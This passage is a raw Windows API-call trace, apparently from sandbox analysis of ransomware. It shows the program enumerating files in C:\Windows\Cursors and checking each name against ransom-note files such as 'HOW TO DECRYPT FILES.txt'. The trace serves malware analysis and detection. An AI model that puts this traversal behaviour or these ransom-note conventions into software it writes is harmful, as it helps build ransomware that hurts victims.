ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_ns_xl.cur", cAlternateFileName="")) returned 1 [0125.396] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_ns_xl.cur") returned 1 [0125.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_ns_xl.cur") returned 1 [0125.396] lstrcmpiA (lpString1="", lpString2="aero_ns_xl.cur") returned -1 [0125.396] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_ns_l.cur") returned="aero_ns_l.cur" [0125.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.396] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.397] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa326b902, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa326b902, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27af499, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_nwse.cur", cAlternateFileName="")) returned 1 [0125.397] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.397] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_nwse.cur") returned 1 [0125.397] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_nwse.cur") returned 1 [0125.397] lstrcmpiA (lpString1="", lpString2="aero_nwse.cur") returned -1 [0125.397] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_ns_xl.cur") returned="aero_ns_xl.cur" [0125.397] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.397] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.397] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa326b902, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa326b902, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27af499, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_nwse_l.cur", cAlternateFileName="")) returned 1 [0125.397] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.397] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_nwse_l.cur") returned 1 [0125.397] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_nwse_l.cur") returned 1 [0125.397] lstrcmpiA (lpString1="", lpString2="aero_nwse_l.cur") returned -1 [0125.397] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_nwse.cur") returned="aero_nwse.cur" [0125.397] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.397] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.398] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa326b902, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa326b902, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe28218b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_nwse_xl.cur", cAlternateFileName="")) returned 1 [0125.398] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.398] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_nwse_xl.cur") returned 1 [0125.398] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_nwse_xl.cur") returned 1 [0125.398] lstrcmpiA (lpString1="", lpString2="aero_nwse_xl.cur") returned -1 [0125.398] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_nwse_l.cur") returned="aero_nwse_l.cur" [0125.398] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.398] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.398] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3291a5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3291a5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2847a11, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_pen.cur", cAlternateFileName="")) returned 1 [0125.398] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.398] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_pen.cur") returned 1 [0125.398] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_pen.cur") returned 1 [0125.398] lstrcmpiA (lpString1="", lpString2="aero_pen.cur") returned -1 [0125.398] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_nwse_xl.cur") returned="aero_nwse_xl.cur" [0125.398] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.398] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.399] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3291a5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3291a5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2847a11, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_pen_l.cur", cAlternateFileName="")) returned 1 [0125.399] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.399] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_pen_l.cur") returned 1 [0125.399] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_pen_l.cur") returned 1 [0125.399] lstrcmpiA (lpString1="", lpString2="aero_pen_l.cur") returned -1 [0125.399] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_pen.cur") returned="aero_pen.cur" [0125.399] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.399] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.399] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32b7bbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32b7bbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe286db6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_pen_xl.cur", cAlternateFileName="")) returned 1 [0125.399] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.399] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aero_pen_xl.cur") returned 1 [0125.399] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aero_pen_xl.cur") returned 1 [0125.399] lstrcmpiA (lpString1="", lpString2="aero_pen_xl.cur") returned -1 [0125.399] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_pen_l.cur") returned="aero_pen_l.cur" [0125.399] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.399] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.400] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32b7bbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32b7bbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe286db6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_unavail.cur", cAlternateFileName="")) returned 1 [0125.400] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.416] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_pen_xl.cur") returned="aero_pen_xl.cur" [0125.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.416] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.416] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ddd19, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32ddd19, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2893ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_unavail_l.cur", cAlternateFileName="")) returned 1 [0125.429] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.429] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_unavail.cur") returned="aero_unavail.cur" [0125.429] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.429] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.430] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ddd19, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32ddd19, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe28b9e2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_unavail_xl.cur", cAlternateFileName="")) returned 1 [0125.430] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.430] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_unavail_l.cur") returned="aero_unavail_l.cur" [0125.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.430] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.430] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ddd19, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32ddd19, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2a10a79, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_up.cur", cAlternateFileName="")) returned 1 [0125.430] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.430] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_unavail_xl.cur") returned="aero_unavail_xl.cur" [0125.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.430] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.431] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3303e76, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3303e76, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2a36bd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_up_l.cur", cAlternateFileName="")) returned 1 [0125.431] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.431] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_up.cur") returned="aero_up.cur" [0125.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.431] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.431] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3329fd3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3329fd3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2a36bd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_up_xl.cur", cAlternateFileName="")) returned 1 [0125.431] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.431] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_up_l.cur") returned="aero_up_l.cur" [0125.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.431] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.431] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3480c18, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3480c18, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2d0a5d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_working.ani", cAlternateFileName="")) returned 1 [0125.432] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.432] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_up_xl.cur") returned="aero_up_xl.cur" [0125.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.432] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.432] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34a6d75, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa34a6d75, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2e3b0c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_working_l.ani", cAlternateFileName="")) returned 1 [0125.432] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.432] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_working.ani") returned="aero_working.ani" [0125.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.432] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.433] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa351918c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa351918c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe34c6ce9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520, dwReserved0=0x0, dwReserved1=0x0, cFileName="aero_working_xl.ani", cAlternateFileName="")) returned 1 [0125.433] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.433] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_working_l.ani") returned="aero_working_l.ani" [0125.433] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.433] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.433] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6854e273, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x6854e273, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x6854e273, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_i.cur", cAlternateFileName="")) returned 1 [0125.434] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.434] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\aero_working_xl.ani") returned="aero_working_xl.ani" [0125.434] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.434] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.434] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3db31c, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c3db31c, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x685743d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_il.cur", cAlternateFileName="")) returned 1 [0125.434] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.434] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_i.cur") returned="arrow_i.cur" [0125.434] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.434] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.435] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3db31c, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c3db31c, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6859a52f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_im.cur", cAlternateFileName="")) returned 1 [0125.435] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.435] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_il.cur") returned="arrow_il.cur" [0125.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.435] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.435] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c401479, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c401479, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68847dcb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_l.cur", cAlternateFileName="")) returned 1 [0125.435] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.435] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_im.cur") returned="arrow_im.cur" [0125.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.435] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.436] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68847dcb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_m.cur", cAlternateFileName="")) returned 1 [0125.436] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.436] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_l.cur") returned="arrow_l.cur" [0125.436] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.436] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.436] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6886df29, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_r.cur", cAlternateFileName="")) returned 1 [0125.436] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.436] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_m.cur") returned="arrow_m.cur" [0125.436] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" 